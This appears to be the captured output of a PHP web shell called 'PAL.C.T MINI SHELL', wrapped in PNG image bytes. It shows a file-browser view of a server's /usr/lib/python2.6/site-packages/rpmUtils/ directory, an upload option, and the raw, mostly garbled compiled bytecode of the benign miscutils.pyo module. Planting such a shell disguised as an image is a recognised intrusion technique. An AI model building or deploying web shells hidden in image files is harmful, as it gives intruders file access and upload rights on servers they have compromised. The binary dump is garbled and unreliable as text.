php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/rpmUtils/
upload
files >> //usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyo

[c@sddkZddkZddkZddkZddkZddkZddkZddkZdZ	dZ
dZdZdZ
dZdZd	Zd
ZeiddZd
ZdZdZdZdZdS(iNcCs*t|tijot|}n|S(N(ttypettypest
StringTypetstr(targ((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytrpmOutToStrsc	Cs|\}}}|\}}}|djo
d}n
t|}t|}t|}|djo
d}n
t|}t|}t|}ti|||f|||f}|S(Nt0(tNoneRtrpmtlabelCompare(	t.0t.1te1tv1tr1te2tv2tr2trc((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyt
compareEVR$s



$c	CsBd}|id}ti|ti}y|i|}Wntij
o}}t|djo
d}nt|djo
d}nt|djo
d}nt|djo
d}qn>Xt|\}}|d	joti	|~d
}n~yti	|Wnt
j
o	}nX|i||S(sTakes a transaction set and a package, check it's sigs, 
    return 0 if they are all fine
    return 1 if the gpg key can't be found
    return 2 if the header is in someway damaged
    return 3 if the key is not trusted 
    return 4 if the pkg is not gpg or pgp signedispublic key not availaiableispublic key not availablespublic key not trustediserror reading package headeriiei(t
setVSFlagstostopentO_RDONLYthdrFromFdnoRterrorRt
getSigInfotclosetOSError(	ttstpackagetvaluetcurrentflagstfdnothdrteRtsiginfo((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytcheckSig9s4






cCstitidd}|i|}|djo"d}|id\}}}nd}d}d}d}|||f}||fS(	sXchecks signature from an hdr hand back signature information and/or
       an error codetCs%|DSAHEADER?{%{DSAHEADER:pgpsig}}:{%|RSAHEADER?{%{RSAHEADER:pgpsig}}:{%|SIGGPG?{%{SIGGPG:pgpsig}}:{%|SIGPGP?{%{SIGPGP:pgpsig}}:{(none)}|}|}|}|s(none)it,ietMD5R(tlocalet	setlocaletLC_ALLtsprintftsplit(R"tstringR$Rtsigtypetsigdatetsigidt	infotuple((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyR`s
cCs|d}|tip|tidjo|d}nd}|d}|d}|d}|d	jo
d}n|||||f}|S(
s^return a pkgtuple (n, a, e, v, r) from a hdr object, converts
       None epoch to 0, as well.tnameitarchtsrctversiontreleasetepochRN(RtRPMTAG_SOURCERPMtRPMTAG_SOURCEPACKAGER(R"R3R4tvertrelR8tpkgtuple((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytpkgTupleFromHeaderss
"




cCs4|\}}}}}t||d|||ffS(sureturns true if the package epoch-ver-rel satisfy the range
       requested in the reqtuple:
       ex: foo >= 2.1-1tEQ(trangeCompare(treqtupleR=tntaR#tvtr((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyt
rangeChecksc

CsG|\}}\}}}|\}}\}	}
}||jodS|p|odS|djo
d}n|djo
d}	n|djo
d}
n|djo
d}nt|	|
|f|||f}|djo\|djodS|djo|djodSn|djo|djodSq=n|djo|djo|djodSn|djo|djodSn|djo|djodSn|djo|d jodSn|d!jo|d"jodSqn|djo9|d#jo|d$jodSn|d%jodSndS(&s,returns true if provtuple satisfies reqtupleiitGTtGEiit>s>=R?it=tLEi
tLTis<=t<iN(RGRHiiRIs>=(sEQiRJ(RKi
RLis<=RM(	RKRLsEQi
iis<=RMRJ(RKRLi
is<=RM(RGiRI(RGRHiiRIs>=(RHis>=(RGRHsEQRKiiii
RIs>=RJs<=(sEQiRJ(	sEQRHRKiii
RJs>=s<=(RKi
s<=(sEQRKRLRHii
iiRJs<=RMs>=(RLiRM(RKRLi
is<=RM(	RGRHsEQiiiRIs>=RJ(RGRHiiRIs>=(RKRLi
is<=RM(RR(
RAt	provtupletreqntreqftreqetreqvtreqrRBtfR#RDRER((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyR@s^








!



	





	

	

	

	





	
	cCs>t|}|djogSh}yx|D]}d||<q.WWntj
o
~nX|iSyt|}|iWntj
o
~nnX|d}d}}xM||jo?|||jo ||||<}|d7}n|d7}qW|| Sg}x,|D]$}||jo|i|qqW|S(sReturn a list of the elements in s, but without duplicates.

    For example, unique([1,2,3,1,2,3]) is some permutation of [1,2,3],
    unique("abcabc") some permutation of ["a", "b", "c"], and
    unique(([1, 2], [2, 3], [1, 2])) some permutation of
    [[2, 3], [1, 2]].

    For best speed, all sequence elements should be hashable.  Then
    unique() will usually work in linear time.

    If not possible, the sequence elements should enjoy a total
    ordering, and if list(s).sort() doesn't raise TypeError it's
    assumed that they do enjoy a total ordering.  Then unique() will
    usually work in O(N*log2(N)) time.

    If that's not possible either, the sequence elements must support
    equality-testing.  Then unique() will usually work in quadratic
    time.
    ii(tlent	TypeErrortkeystlisttsorttappend(tsRBtutxtttlasttlastiti((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytuniques>

	



c
Cs|ddjo|d }n|id}||d}|| id}||d|!}|| id}||d|!}|id}|djo
d}n|| }||d|!}	|	||||fS(	s
    Pass in a standard style rpm fullname 
    
    Return a name, version, release, epoch, arch, e.g.::
        foo-1.0-1.i386.rpm returns foo, 1.0, 1, i386
        1:bar-9-123a.ia64.rpm returns bar, 9, 123a, 1, ia64
    is.rpmt.it-t:it(trfindtfind(
tfilenamet	archIndexR4trelIndexR<tverIndexR;t
epochIndexR8R3((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyt
splitFilename)s	


icCstii}|i|}~|tipd}|djotid|ntidddt
i|d|}x1|i|}|djoPn|i
|q|idS(sPerforms roughly the equivalent of rpm2cpio(8).
       Reads the package from fdno, and dumps the cpio payload to out,
       using bufsize as the buffer size.tgzips$Unsupported payload compressor: "%s"trbRfN(trpmUtilsttransactiontinitReadOnlyTransactionRRtRPMTAG_PAYLOADCOMPRESSORt
RpmUtilsErrorRotGzipFileRRtfdopentreadtwriteR(R!touttbufsizeRR"tcomprRTttmp((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytrpm2cpioHs
'
cCs|}|ot|tdjpt|tdjo|titiBtiB@o}|d}|ti@o|d}n|ti@o|d}n|ti@o|d}n|od||f}qqn|S(s
    Return a human readable requirement string (ex.  foobar >= 2.0)
    @param name: requirement name (ex. foobar)
    @param version: requirent version (ex. 2.0)
    @param flags: binary flags ( 0010 = equal, 0100 = greater than, 1000 = less than )
    ilt RMRIRJs%s %s(RRt
RPMSENSE_LESStRPMSENSE_GREATERtRPMSENSE_EQUAL(R3R6tflagsR[((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyt
formatRequire_s9
cCsz|d@}|djodS|djodS|djodS|djodS|d	jod
S|djodS|S(
NiiiRLiRGiR?i
RKiRH(R(R((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytflagToStringws






c
Cs|djodS|id}|djo:ytt|| }Wqntj
o
d}qnXnd}|id}|djoE||d|!djo
d}n||d|!}||d}n4||ddjo
d}n||d}d}|||fS(	NRfReiRRdi(NRf(NNN(RRhRtlongt
ValueError(t	verstringRaR8tjR6R7((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pytstringToVersions(




cCsyti|ti}Wn!tj
o}tidnXy|i|}Wn1tij
o"}ti	|tidnXt
|tijoti	|tidnti	||S(s>hand back the rpm header or raise an Error if the pkg is fubarsUnable to open filesRPM Error opening Packages RPM Error opening Package (type)(RRRRRqRuRRRRRR"(RRR!R#R"((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pythdrFromPackages


cCsgttdoSttdoCtitititititigot	i
dqcndS(NtcheckSignalst
signalsCaughti(thasattrRRtsignaltSIGINTtSIGTERMtSIGPIPEtSIGQUITtSIGHUPtsystexit(((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyRs (RRRoRRR)RtrpmUtils.transactionRqRRR%RR>RFR@RbRntstdoutR~RRRRR(((s6/usr/lib/python2.6/site-packages/rpmUtils/miscutils.pyt<module>s,			'			
	P	E					
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`